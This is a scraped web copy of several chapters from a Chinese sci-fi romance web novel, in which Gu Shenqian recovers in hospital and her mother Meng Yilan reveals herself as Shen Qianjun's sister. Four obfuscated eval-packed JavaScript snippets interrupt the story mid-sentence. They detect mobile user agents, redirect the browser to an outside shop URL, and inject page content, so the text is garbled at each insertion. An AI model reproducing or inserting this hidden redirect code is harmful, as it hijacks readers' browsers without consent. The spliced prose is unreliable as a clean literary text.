孟岚说沈千峻要一段时间才能过来,事实上玖安醒过来的第三天,沈千峻就到了。 她安静地坐在床上看地球生态纪录片时,远远地觉察到了什么,光着脚丫子一路跑到门口,站了一会儿觉得不对,又噔噔噔跑过去穿鞋。 沈千峻一进来,穿好鞋的小姑娘正向着他的方向奔来,他愣神的工夫,被扑了满怀。沈千峻腰被环住,胸前多了个软软的姑娘。他呆呆地站在原地,张开在两侧的手局促得不知放哪儿是好。 玖安抬起头,下巴抵在他胸口,双眼亮得灼人:“沈千峻。” “……嗯。” “你来接我了。” 玖安脑袋贴在他胸口,沈千峻微怔,僵硬的四肢终于动起来,他俯下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006737|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身回抱她。 他听见她说:“我醒过来的时候,孟岚给了我一个拥抱,我觉得很温暖。” 沈千峻双臂收紧,嗅着她发顶的馨香:“我也觉得。” 玖安从他怀里出来:“我们现在走吗?” 沈千峻垂着眼:“对不起,我不能带你走。” 玖安笑容凝滞。 沈千峻双手搭在她肩上:“战场太危险了,我没办法时刻保护你的安危,更没办法再看你倒下一次了。这半年……我没有一天是放下心的。” 玖安的神情淡下来,她看着沈千峻,固执地说:“我想跟着你。” 沈千峻摸摸她发顶,像孟岚一样:“我一有空就来看你,好吗?我保证。” 这是拒绝的意思。 她看着沈千峻,同样保证:“不会再发生这种事,我会保护好自己。让我跟着你,好吗?” 沈千峻眸中闪过挣扎,他握着她肩膀的手逐渐收紧,垂下的眼帘遮住其中情绪,只有声音里透着一丝颤抖:“对不起。” “我不想你跟在我身边了。” 顾深浅猛地睁开眼,惊叫坐起:“沈千峻!” 她大口喘着粗气,环顾四周没有看到记忆里的人,才发现自己正在春藤的病房里。 顾深浅低头看着自己的掌心,划过略显粗糙的指腹才有了一丝实感,确认自己的归处。唯有沈千峻那句话仍在她脑海不停回响,一遍又一遍地试图把她拖回无尽的噩梦。 想见他。 就现在。 顾深浅翻身下床,遵从本能往外跑去。 心底好像有个声音在不断叫嚣着:往前走,他就在那里。 顾深浅跑到门口,打开门就撞进了一个温暖的胸膛。 沈千峻扶着她的肩站稳,皱起的眉宇间是掩不下的关怀:“我在这儿,怎么了?” 他今天换上了一身墨绿西装,顾深浅一时迷失在了过去和现实之间,分不清这是少年将军沈千峻,还是特监处背后的沈千峻。 她分不清,也不想分清。 顾深浅踮起脚,环住他的脖子,印上他的唇。 沈千峻动作僵硬地回抱她,一如她梦里的模样。 顾深浅的情绪更加触动,数不清的金色纷纷溢出,寻找属于他们的紫色。 不过一秒工夫,男人好像才反应过来,扣着后脑勺带着人进入房内,另一只手撑在墙上,把人完整地锁在怀中。 他撬开牙关,攻城略池,终于暴露了自己和少年将军的差别。 可惜此刻当事人已经全然无心分辨了。 紫色元素源源不断从沈千峻身上探出,与金色不分彼此地交缠在一起,点燃一室旖旎。 一墙之隔的廊上,紧闭的房门外站着两个青年,一个金发碧眼,一个健壮黝黑;一个挑着眉,一个垂着眼。 沉默片刻,金发青年漫不经心地问:“这怎么说?我都可以,随你。” 青年勾起唇,自嘲地说:“我早知道的,不死心而已。” “现在呢?” 廊上静默得比刚才更久,青年视线落在阴影处,轻声说:“就不给她添麻烦了。” “死了。” 75. (二改)特别 “我们怀疑幕后真凶是陈希。” 沈千峻靠在000病房的培养舱边,听见乔森的话挑起眉:“猜想就不用汇报了。” 乔森视线不偏不倚落在沈千峻身上,肃然道:“相关人证物证都已收集,证词已由织梦检查过,基本可以确定。但嫌疑人目前下落不明,所以还不能下结论。” 沈千峻低着头,他指尖留着伸展出星星点点的紫色,一路通向培养舱内部。紫色的终点半卧着动弹不得的顾深浅。 她身上缠满输液管,沈千峻的力量将他们的对话一句不落地传进去,同时也压制着她不许乱动,唯独一双眼睛还在生动地眨巴着。 身残志坚的顾深浅话比之前更密,原本隔绝外界的培养舱在沈千峻的溺爱下愣是用精神力打开了一条单人通道,成为顾深浅和人沟通的桥梁。 【不可能是我导师。】 【下落不明是怎么回事?】 【你最好告诉我是听错了。】 见他沉默,乔森似有所感地问:“是顾工有什么疑问吗?” 沈千峻说:“陈希下落不明是怎么回事?有什么证据指控他?从头细说。” “陆离因为和顾工决裂,资金链再次出现问题。于是和之前合作过的一位供应商达成交易,把他的货送进顾工的实验室,陆离收中间费用,同时从交易额提十个点。” “但斗晖的项目进程已到晚期,没有新的材料寻求。于是他勾结实验室的贝拉,制造零件问题,以此使顾工不得不采购新的材料。” “这些他都承认了,但关于替换芯和bug程序的植入的部分,他全部否认,但招认了另一件事。” 乔森顿了顿,朝着织梦递去请示的眼神。 织梦开口说:“陆离向供应商拿到钱回家的路上,遇到了一个黑色长袍的男人。男人是专门来找他的,他知道他做的事,以此要挟,要他在斗晖里植入替换芯。并试图以他负面情绪做引导,签订和解思涵同样的保密承诺,但失败了。那人当下就要对他动杀手,他命硬,赶上了联安署的巡逻警员才逃过一劫。” “黑袍男人离开前,跟他说,他逃不掉的。” 织梦讽刺地勾唇,“为着这五个字,陆离吓坏了。他左思右想了好几天,决定先去找陈希陈教授摊个牌。顾工的实验室虽然独立负责,但有些事,她也得听陈希的。陆离不傻,比起植入一个潜伏程序到顾深浅的机甲,实验室采购里动手脚的这点事儿,根本不算什么。陈希就算知道了,最多训他一顿。可直到他见到陈希才发现,陈希的背影和那个黑袍人几乎一模一样。” 顾深浅:【也就是说陆离也不确认是不是陈教授。】 沈千峻转述:“怎么确定陈希就是黑袍人?” “他不确定。他当时吓坏了,扭头就跑。”织梦说,“我们怀疑陈希也不止因为这个。” “根据有迹可循的档案,能在顾深浅眼皮子底下植入替换芯的人,除了陆离,只有陈希;他是机甲斗晖的终审,想要不动声色地植入bug程序易如反掌;更可疑的是,各地办事处都动了起来,也没能找到陈希现在人在哪儿。除了实验室的贝拉、柏莎和陶生,我们找到最近一次见过他的人已经是半年前了。” “人活着就会留下痕迹,除开遍布90%区域的天网,以特监处的能耐,这么久找不到一个人,就连一点线索都没有,这不奇怪吗?” 顾深浅越听越不对,一句接一句不停地跟沈千峻说: 【这不合理。陈教授有着实验室的最高权限,几道锁只认他的精神体,我都打不开。他要做什么没必要绕这么大一圈。】 【他什么意思?】 【到底怀疑陈教授是真凶,还是怀疑教授出事了?】 沈千峻转述:“说人话。” 织梦:“……” 顾深浅:“……” “我们怀疑陈希教授已经遇害,或者被控制起来。这次是有人在假冒他的身份进行活动,这个人精通障眼法,会使用精神控制技能。并且我有一种预感,这个人跟上次对解思涵动手的有点牵连,但不是同一个。”徐飞扬概括道,“简而言之,找到陈希,一切就都清楚了。” 顾深浅没了动静,沈千峻不确定地看向她:【没有想问的了?】 营养舱透明罩子里,顾深浅微微蹙着眉,眼神复杂:【这次跟周亦知有关吗?】 沈千峻:【没有。要真是周亦知,不可能连个保密承诺都签不了。】 顾深浅扯了扯嘴角,沈千峻又补了句:【放心。】 徐飞扬说:“这案子按理说算不上特级,但事关自己人,我在一二队里挑了几个去找人,应该很快能有结果。到时候我跟哪儿汇报啊,哥?” 沈千峻撩了他一眼:“留言。” “好嘞。”徐飞扬笑嘻嘻地说,“顾工还得在营养舱躺一天呢。没其他事儿你也找个地方早点休息吧哥。” 沈千峻沉默,徐飞扬兀自说:“不过说回来,顾工平时看着身体挺好的,这恢复速度比起S级慢了一大截,也是怪了。你说她弱吧,一般人遇到这伤都活不下来;说强吧,她的自愈能力好像比普通人还要差一点。” 乔森忽然问:“这是怎么看的?” 徐飞扬说:“这要是个普通人,同样条件下半个月的休息足够内部伤口复原了。一般S级的精神人类也不过三五个小时,你这样训练营出身的甚至不需要一个小时。可是顾工这回,手术出来就昏迷了十二天,一觉又睡三天……伤好不容易好得差不多了人还是那么虚弱,得靠老大专用的营养舱来调养24小时的,我也头一回见。” 沈千峻不耐烦地开口:“话多出去说。” 隐约察觉沈千峻动了真怒,徐飞扬摸摸鼻子,朝着乔森打了个手势出去了。 织梦打了个哈欠:“我话不多,需要出去吗?” 沈千峻不咸不淡地扫了他一眼,织梦耸耸肩往外走,沈千峻却忽然又叫住了他。 织梦关上开到一半的门,坐回原位:“还有什么事儿?” 沈千峻:“徐飞扬藏了事儿没说,怎么了?” 织梦闪过一瞬惊讶:“你确实不太一样了。” “啧。” 织梦笑了笑,“他不是跟你藏,这事儿跟顾深浅关系不大,是之前海朝区的遗留问题。” 沈千峻皱起眉:“怎么说?” 织梦:“陆离前脚被黑袍人威胁,后脚怀疑自己的导师就是黑袍人,导师的有求还是往小师妹接近尾声的机甲项目里植入干扰程序,哪一件拎出来都是细思恐极他胆子小得很,你觉得他会做出什么来?” 沈千峻眼角划过嫌恶。 织梦笑了笑,“他一开始找了几个不入流的,一起在他家几天没出过门。后来大概玩腻了,去了几个少爷的局,跟着其中一个回了家。这人好巧不巧,就是解家旁支一位不得宠的,做珍稀材料的倒卖。这人顾工说不定有印象,第一次调查这个抬头,还是顾工的意见。” 沈千峻神色诡异。 织梦习以为常,继续说:“陆离跟着这人去了他的住处,直到前阵子跨区人口案的告破。解家倒台,那位少爷被捕,陆离才偷偷回了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025096|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的住处。而当晚出现的人,光是确认涉案的就有六七个,其中三个都和陆离有过利益往来。乔森查了交易批次,确认是和海朝区地下的一模一样。” 他见沈千峻铁青着脸不说话,略带惊讶地说:“虽然确实出乎意料,也不至于气成这样吧?” 沈千峻目光落在他脸上,那是织梦从未在他脸上见过,堪称缤纷的表情。 没一会儿又板正起来,僵硬地问:“陆离是gay?” 织梦猝不及防,懵懵地说:“啊……大概,男女不忌?” 话落下没一会儿,沈千峻脸色又黑了几分,冷酷地说:“不问。” “……?” 织梦余光扫到沈千峻扒着的营养舱,隐约猜到什么。他清了清嗓子说:“不过也挺难说,他虽然男女通吃什么花的都玩,但正经花了心思的,好像也就顾深浅一个。他说喜欢顾深浅,搞不好是真话呢。” 顾深浅:【……】 梦神?他是魔鬼吧。 沈千峻冷笑:“还有别的事吗?” “徐飞扬?没了。你要想听陆离和顾深浅的逸闻,我倒是知道不少。” “出去。” “好嘞。” 叽叽喳喳半天的单人通道这会儿安静得仿佛不存在,顾深浅透着营养舱看沈千峻,褐色眸子忽闪忽闪,写满无辜。 沈千峻跟她对视两秒,啧声走开,在顾深浅看不到的侧面席地坐下。 看不到他,顾深浅入目所及剩下空荡得连张床都看不到的房间,洁白的墙面在灯光下泛着若隐若现的蓝,冷冰冰的没有生气。 顾深浅有一瞬的心慌。 【沈千峻?】 【你生气啦?】 【我没有喜欢他,以前也只是尊重师兄而已。】 【他也不喜欢我的,他只喜欢他自己。】 沈千峻鼻腔喷气。 刚才还关心人家是不是喜欢男人,现在斩钉截铁说他只喜欢他自己。 他别别扭扭不动弹,频道里又跳出来一句新的。 【理理我,沈千峻。】 【我空旷恐惧症。】 这又哪门子闲病? 沈千峻啧声,挣扎了半分钟,认命地站了起来。 桌子、椅子、生命体征监控仪……屋里大大小小的东西被集中堆在营养舱前面。沈千峻单手拎起沙发,放在顾深浅视线范围里最靠窗的地方,然后扭过脸不看她。 “……” 顾深浅在他看不到的地方笑容狡黠:【你不跟我说话吗?】 【说什么?】沈千峻臭着脸,【案子的事儿我不管。】 【不说案子。说说你为什么生气?】 沈千峻沉默不语,顾深浅以为他不会说了,准备重新问时,内部频道却动了起来。 【你对他很特别。】 顾深浅:【哪里特别?】 哪里都特别。 沈千峻端坐在沙发上,远远地睨她,发丝挡在他眼上,看不清神色:【你想钻空子。】 顾深浅不说话了。 沈千峻忍了一下,不想忍了,大步走到营养舱前,背光低下头,无声地看着她。 顾深浅唇边笑容放大:【听说隋楚的观星系统研发失败,做成了真正意义的‘观星’系统,让人仿佛真的走出地球,站在宇宙里。】 沈千峻无动于衷。 顾深浅:【我偷偷问他借了几天。】 沈千峻抬起眼:【所以呢?】 【所以,这位“特别先生”,要不要跟我一起看星星?】 76. 孟一兰 顾深浅在医院躺了小二十天,能做的检查全都做了一遍,徐飞扬再三保证她好得能原地起飞,顾明朗还是坚持多留了她一天。 顾明朗少有这么强硬的时候,顾深浅没再坚持。 沈千峻没什么意见,睡陪床位睡得无比自然,只是盯着顾深浅出神的频率比之前更频繁了。 顾深浅回答完柏莎和陶生的论文问题,他在看她;和校方沟通斗晖的后续处理结果,他在看她;《宇宙星云收录集》翻完了半本,假装不经意抬起头,他还在看她。 “……”顾深浅停下翻页的手,“天龙现在什么情况?” 没有回应。 她抬起眼望去:“沈千峻?” 沈千峻回过神:“在基地。不让别人碰,等你回去做参数调节。” 顾深浅乐了:“不让别人碰?” 沈千峻的思绪这会儿才算完全回笼,他微微后仰,换了个相对放松的姿态:“你昏迷送医时候,天龙想一起跟过来,为了让他安安分分回基地,还打伤了一队几个小孩儿。回基地直接送进了三区,消停是消停了,生命体征也消失了。科研二组的结论是,精神领域正常,生命体征稳定,但不配合。” 顾深浅一愣:“科研二组?生化组?怎么送那儿了?” “不然呢?给三组拆开研究研究?” 沈千峻视线停在她唇上,动作微顿后站了起来:“天龙在二组,好歹会顾及人道主义,不该动的手段都不会动。要是在三组,隋楚等不到一个小时就能把他拆了。” 他走到顾深浅床边,递过调好的温水:“嘴太干了。” 顾深浅看看水杯,又看看他:“你不喂我吗?” 沈千峻不知想到了什么,弯了嘴角:“不喂。” 顾深浅眨眨眼:“忙了好久,手上没劲儿了。” 沈千峻走到柜边,翻出来一根吸管,重新递给她:“喝吧。” 水杯稳稳端在顾深浅眼前,吸管立在她唇前。沈千峻半弯着腰,纯黑的瞳孔里倒映着顾深浅的脸。 暧昧的,若隐若现的笑意,看似无辜的眼里闪着狡黠精光。 她微微低头含住吸管,乖巧喝下大半杯,舌尖舔过干涩的唇,看着沈千峻眨巴眨巴眼:“还干吗?” 杯子随手放在床头,沈千峻膝盖抵着床沿俯下身,指腹贴上那寸柔软。粗粝指腹压在唇上,泛开的白成了世上最诱人的果,一点点刺挠着他的神经。 “也许。”他低沉的嗓音不知在魅惑着谁:“检查一下才知道。” 沈千峻的脸一点点靠近,顾深浅伸手抵着他胸口,留出不怎么安全的安全距离:“你这两天盯着我发呆,就在想这事?” 沈千峻握住她的手,又近了一寸:“你猜。” 温热柔软的触感刚贴上,顾深浅再次推开他:“有人来了。” 沈千峻脸色不怎么好看,却还是退开了。 他拉开门,正对上抬手欲叩门的孟一兰女士。 孟一兰似乎并不惊讶他在这儿,礼貌又疏离地打招呼:“你好,沈先生。” 沈千峻挑眉:“找谁?” “顾深浅。” 顾深浅僵在原处。 沈千峻冷漠地说:“她未必愿意见你。” 孟一兰面色不变:“您可以问问她。” 沈千峻侧过身,顾深浅匆忙理理自己的衣服床被,确认没有什么不得体的才说:“进来。” 孟一兰一步步走进来,顾深浅挺背坐着,比任何一次会面都更紧张。 从孟一兰出现在她视线的起,顾深浅就没有挪开过眼。 她身上没有一丝人到中年模样,皮肤依然紧致如初,简单利落的白西装似乎就是她的日常穿着,冷淡的眉眼一如当年。 无人开口的寂静全然没能影响她,她淡淡地说:“我来的时候,听说顾深浅最终的体检报告出了。沈先生不去看看吗?” 沈千峻看向顾深浅,眼神询问她的意见。 “等会儿我和他一起去。”顾深浅说,“您有什么事,请直说吧。” 孟一兰径自坐在稍远处的沙发对着顾深浅的方向坐下,“冒昧请问,两位现在是什么关系?” 沈千峻闻言,目光也落到了顾深浅身上。 “正是您看到的这样。” 顾深浅下意识以为孟一兰问这话是跟顾明朗一样,想劝她远离沈千峻,却不想孟一兰下一句语出惊人: “你全都想起来了吗?” 她拧起眉,再次发现自己对孟一兰一无所知:“您指是什么?” “以前的事,你全都想起来了吗?”孟一兰轻喊,“玖安。” 不等顾深浅反应,沈千峻的虎口已经掐住孟一兰的脖子:“你是谁?” “沈千峻!”顾深浅喊,“松开!” 沈千峻不为所动,孟一兰看向顾深浅,嘲讽道:“确定不需要沈先生去拿报告吗?” “住嘴。”沈千峻手上力道加重,孟一兰露出了痛苦的神色。 “沈千峻!” 顾深浅翻身下床,握住他掐着孟一兰的手:“她真的是孟一兰,我确定。你先松开她。” 沈千峻看了她一眼,伸手将她挡开,又套上他的防御结界,才一点点松开孟一兰。 孟一兰咳嗽不止,顾深浅倒了杯水给她,拉着沈千峻在旁边的沙发坐下:“他只是担心我,你别往心里去。” 见她面色稍霁,顾深浅才说:“玖安这个名字知道的人一只手数得过来,你是怎么知道的?” 孟一兰:“看到的。” “你出生的时候,我觉醒了精神技能。能看到一个人的过去、现在和未来。首先看到的是我自己,下一个,就是你。” 顾深浅说:“那在过去,我们认识吗?” 孟一兰沉默半晌,摇摇头:“不算认识。” 顾深浅还要再问,就听孟一兰说:“我今天过来,不是想说过去的事。” “我的技能不稳定,时灵时不灵。我常常会看到了一些未来的场景,或近或远。这些场景有的会应验,有的至今未发生。但关于你的一些事,都在一件件地成真。” “所以,我必须来这一趟。” 顾深浅想了想:“是因为你看到过我受伤?” “从你第一次精神暴走后,你和沈先生走在一起,你坐在病床上,我都看到过。” “可你看到这些时并没有想过要告诉我。” “没有。” 她的脸上太过理所应当,甚至看不到一丝内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042498|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疚或痛心。 顾深浅吸了口气:“那这一次,你看到了什么必须告诉我的?” 孟一兰看着她的眼睛,一字一句地说:“沈先生倒在极光区,你在他怀里,生死不明。” 顾深浅瞳孔骤缩,颤抖着唇说不出话,直到沈千峻拍拍她的背才回过神:“我没事。” 一直保持沉默的沈千峻开口说:“你看到的,不是必然。” 孟一兰:“的确不是。我只尽到提醒义务。” “沈先生,近期发生的几件都不是小事,尤其海城,民众舆论至今没有停过。您既然要把人留在身边,至少要确保她的安全吧。这次没出事是她命大,下次呢?” 沈千峻讥讽道:“这么多年不过问,现在倒是……。” 顾深浅忽然握住他的手,不轻不重地喊他名字:“沈千峻。” 沈千峻哑然。 孟一兰摇头:“我既然知道你是玖安,就不可能把你当女儿养。既然你注定会想起过去,那还不如不要这段缘分。” 顾深浅面色如常,好像对这些话毫无波澜:“爸爸……他知道这些吗?” “知道。”孟一兰说,“但他是真心把你当女儿。” “他不认识玖安,是吗?” “对。” 顾深浅忽然说:“你说你和玖安也不算认识,那为什么你做不到把我当女儿?” 孟一兰顿住。 顾深浅握着沈千峻的手骨节泛白,在尽力压制着什么。 “我不是你十月怀胎生下来的吗?” 房里沉默下来,孟一兰淡淡的五官终于闪现了一条裂缝,随着怔忪破壳而出的还有细微的愧疚,不知是对谁。 “……能单独聊聊吗?” 顾深浅拍拍沈千峻:“你去爸爸办公室等我吧。” 沈千峻扫了眼孟一兰,最终在顾深浅的目光里缴械:“我在门外等。” 他出去后,顾深浅放出隔离结界圈住病房:“楼塌了结界都不会塌,我的结界沈千峻也破不开。你放心说。” 孟一兰感叹似的说:“你还是这么强。” 顾深浅不动声色:“你觉得玖安很强?” “听沈千峻说过。”孟一兰微微勾起唇,这让她冷漠的眉眼柔和了几分,“他在最绝望的日子里,唯一不敢忘记的,就是你的大事小事。我是他为数不多的听众。” 顾深浅神色复杂:“你是沈千禾。” 孟一兰惊讶了一瞬,干脆地承认:“是。你怎么猜到的?” “沈千峻不可能跟任何人说我的事,哪怕是沈千禾。”顾深浅说,“但如果他当时处境绝望,那很可能是他受制于人,有人从他的嘴里打探消息。这世界上他还会信任的,除了那些出生入死的副官,只有沈千禾。” “为什么不猜副官?” “他的副官都认识玖安。”顾深浅说,“他的副官一个个都是一根筋,哪怕虚以逶迤,也不可能配合谁去打探沈千峻嘴里的消息。” 孟一兰说:“你觉得我是虚以逶迤?” “我不知道。”顾深浅望着她,眼里的光已经黯淡下来,眉宇间是和沈千峻相似的冷意:“你是吗?” 孟一兰勾起唇角,给出答案: “不是。” 77. 家人 被拆穿身份的孟一兰比刚才放开了些,她漫不经心地说:“这不是什么秘密。” “我当时作为众所周知的,沈千峻的软肋。一共从他嘴里套过两次话。他后来也都知道。” 顾深浅蹙眉:“哪两次,是什么时候?” 孟一兰视线凝在某处,没有回答。 顾深浅眉头皱得更深:“玖安死之前的事?” 孟一兰说:“第一次是你过世前,他什么都没说。第二次是你过世后,他……他状态并不好。” 顾深浅问:“玖……我过世后,发生了什么事?” “很多。”孟一兰回忆着说,“那天恰好是π星退兵的日子。幸存人数超过五亿,远超预期,全球同庆却找不到这位大功臣。” “没人知道你们去了哪儿,直到他抱着你的尸身出现在欢庆大会的直播现场,当着全球人民的面,请求当时的人类联盟总协为你颁发一等烈士勋章,并以相应规格将你葬在烈士陵园。” “众目睽睽下,联盟不可能拒绝这样的请求。但紧接着就有人指控,说是他杀害了你。” “联盟研究所要求验尸,说是为了查明死因,证明沈千峻的清白。” 顾深浅衣摆下的手握成拳,指甲一点点陷进肉里。 她隐约猜到了接下来会发生的事,还是自虐般问:“然后呢?” “他拒绝了研究所的提议。”孟一兰说,“他向所有人承认,他就是凶手。” “沈千峻年少成名,是地球上唯一一个完成超自然进化的人类。有多少人崇敬他,就有多少人嫉恨他。更何况……” 孟一兰勾起嘲讽的弧度,淡淡道:“地球入侵的时候,他是守护家园的战神;一旦世界太平,他就是最大的隐患。” “联盟也许原本还想等风平浪静后,他的国民度下去点再动手,结果沈千峻亲自送了个由头来,联盟不可能放过他。” “收押、刑讯、庭审一直到判决,全球的人类都关注这桩案子。沈千峻没有一句争辩,可除了他认罪,公示的死刑判决外,没有一点消息放出来。玖安的死因是什么?到底怎么发生的?联盟没有任何解释。” “行刑日那天,联盟出于人道主义,允许我见他最后一面,他拒绝了。” “我没能和他说上话,只能和他的副官们一起站在外围,目送他离开。” “等下。”顾深浅打断她,“联盟套的话,不是玖安的死因?” 孟一兰否认:“联盟不关心这个。他们让我套话,想知道的也不是这个。” 顾深浅:“那是什么?” “你觉得当时联盟缺什么?” “当时……灾后重建,百废待兴。”顾深浅想了想,“最缺的应该是能源。” “不。”孟一兰淡淡地说,“是内核。” “乱世并没有结束。” “这一场入侵让地球本就岌岌可危的能源彻底告罄,一片焦土之下,幸存的五亿人温饱都成问题,更别说稳定的社会秩序。如果人类不再有希望和前景,他们将亲手杀死自己。” “所谓的希望、内核,指的就是沈千峻。”顾深浅干涩道:“联盟想通过他实现全人类的超自然进化。” 孟一兰微怔,视线驻足在她脸上,“对。你怎么了?脸色很差。” 顾深浅脸上血色不知何时褪得一干二净,她嘴唇发白,肩膀隐约地发颤:“没事,你继续。” 孟一兰没有多问,“行刑当天,他就跪在那儿,我亲眼看着子弹穿过他的后脑。在场的军官们敬礼默哀。大概出于对人类英雄的崇敬,没有人叫停,他的尸体就倒在那儿,” “可前后不到五分钟,不知是谁先发现不对,大声地叫喊着,伤口复原了。” 顾深浅闭上眼后仰,藏起眸中情绪。 孟一兰:“我和在场的军官想上前探看,都被看守的士兵拦住,只能眼睁睁看着他被带走,生死不明。当天在场的人都被控制了起来,我也不例外。半个月后,联盟的人带着保密协议来找我,签完才放我出去。也是在那天,他们请求我能和沈千峻聊一聊。” “他们想知道,被沈千峻捂在肚子里的,人类进化的秘密。” 沈千峻肚子里从来没有过这些。 他毕生都在为家人牺牲,遇到玖安才获得了一次新生的机会,却立刻傻乎乎地回到了研究所,从此便开始了为人类牺牲。 进化的秘密? 他连想都不会往这方面想。 在沈千峻的眼里,他是多年实验的成品,人类种族存亡之际,必须做点自己力所能及的事。 即使他比谁都明白,人类本性是多么贪婪自私、卑劣丑恶。 顾深浅姿势未变,突然开口说:“你答应了,不是虚以逶迤假装套话。因为你也很想知道。” 她缓缓睁开眼:“沈千禾从出生就拖着病体,虚弱得吹个风都能发烧。沈千峻答应了何博士的邀请,让你遇到了后来的主治医生,身体才慢慢好转。你们结了婚有了孩子,那时候可怕的π星生物也被打跑了,眼见日子一点点在变好,可你身体底子已经伤了。你的丈夫是治病的医生,不是主宰生死的神仙,你当时命不久矣,他也没有办法。” “但你觉得如果你能进化,事情或许还有转机。” 孟一兰讶异了一瞬,又很快掩下。她说:“联盟的考量并没有错,超自然进化是几代人的心血,没道理只应用在一个人身上。” 顾深浅:“哪怕是在战期,每周一次的生化采样沈千峻也从落下过,研究所的要求他都尽力配合。为什么还会觉得他藏着秘密不说,特地找到你?” “因为他们找不到。”孟一兰说,“他们用尽了所有能有的方法,也无法复刻沈千峻的进化。生物标本和实验数据不会撒谎,剩下会撒谎的只有人。” 顾深浅:“沈千峻没有撒谎。” “是吗?”孟一兰说,“我倒是觉得,撒谎的不止他一个吧。” 顾深浅默然看她。 “我见到他的时候,他看起来很狼狈,满身血污,邋遢的脸和胡子,手脚都被铐着。我走到他面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100707|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,他才抬眼看我。那双眼里什么都没有。没有失望,没有愤怒,只是平静地问我,需要知道什么。” “我问他是怎么进化的,他给的答案始终如一,倒在外面,醒来就感觉身体和之前不一样了。” “我当时很生气,也很急。我觉得他在撒谎,气他隐瞒,气他不自爱,很多。我冲他发了通脾气,说我不想死。可他还是那副样子,表情都没有一点变化。” “在我失望得要走时,他却叫住了我。” “我以为他心软了,终于愿意说些联盟需要的。可他却问我,玖安是不是已经火化了。” “他说,进化的那天,他遇到了他的幸运星。” “我坐了很久,听他说他第一次见你,你第一次救他,体能训练,并肩作战,哪怕你不在他身边,也能在生死关头救他的命……他说了很多关于你,却对你的死只字不提。” “那天到最后,联盟也没有得到想要的答案,但我猜到了。” “进化的秘密,就是玖安。”孟一兰对上她的眼:“你刚刚猜的也没错,哪怕你当时已经死了,只要尸体还在,他都不会让别人动你一下。即使你已经火化,如果不是我跟他闹那一场,关于你的事,他也不会多和我说一个字。” 顾深浅脸上已经全然不见孟一兰刚来时候的紧张,她神色冷淡,目光锐利地指出:“全人类进化的时候,玖安已经死了很久了。” “谁知道呢。”孟一兰说,“联盟杀了沈千峻三十三次,他依然活着。玖安难道……” “你说什么?!”顾深浅瞳孔骤缩,浑身脉络瞬间紧绷,“什么叫,杀了沈千峻三十三次?” “字面意思。”孟一兰垂着眸说,“联盟前后共执行三十三次死刑,沈千峻都活着。” 顾深浅嘴唇颤抖着深呼吸了三次,气息才稳下来。她换了话题:“你今天来这一趟,只是为了提醒我和他会在极光区出事?” 孟一兰看懂了顾深浅眼里的质疑和不信任,她没有解释什么,端起水杯喝了口,才慢慢地说:“我做不了什么,看到的也未必准,只是力所能及的提醒。如果你非要问我为什么的话。” “沈千禾是沈千峻的家人,顾深浅是顾明朗的家人。” 顾深浅撤下结界的下一秒,外面就响起了象征性的敲门声:“我进来了。” 门跟着被打开,沈千峻抱臂而立,孟一兰走在前面,停在门外对顾深浅说:“不用送了。” 顾深浅:“路上注意安全。” 孟一兰微微点头,最后看了一眼沈千峻:“沈先生,再见。” 不等沈千峻回应,她走得很潇洒。 沈千峻多看了一眼她的背影,边转身往里,“她……”才吐了一个字,怀里就钻进了个脑袋。 他话里透着不自知的柔软:“怎么了?” 顾深浅贴在他心口,近乎贪恋地听着他不动声色变快的心跳,闷声说:“想回家。” 沈千峻下巴搁在她发顶,轻抚着她的背脊: “好,我们回家。” 78. 纠葛 春藤医院后门,一辆低调的光轮车缓缓驶离,车上的正是顾深浅和沈千峻。 顾深浅坐在她的老位置,目光锁定在仅自己可见的光脑,上面是她和织梦的加密通讯页。 顾深浅:【你最初是什么时候出世的?】 织梦:【2819年,π星第一次退兵三个月后。】 顾深浅:【那时候是灾厄时代,我找不到相关史料,只能问你。我死后,联盟对沈千峻做过什么?】 “在忙?” 沈千峻调整完路线从驾驶位走过来,坐在顾深浅侧手。 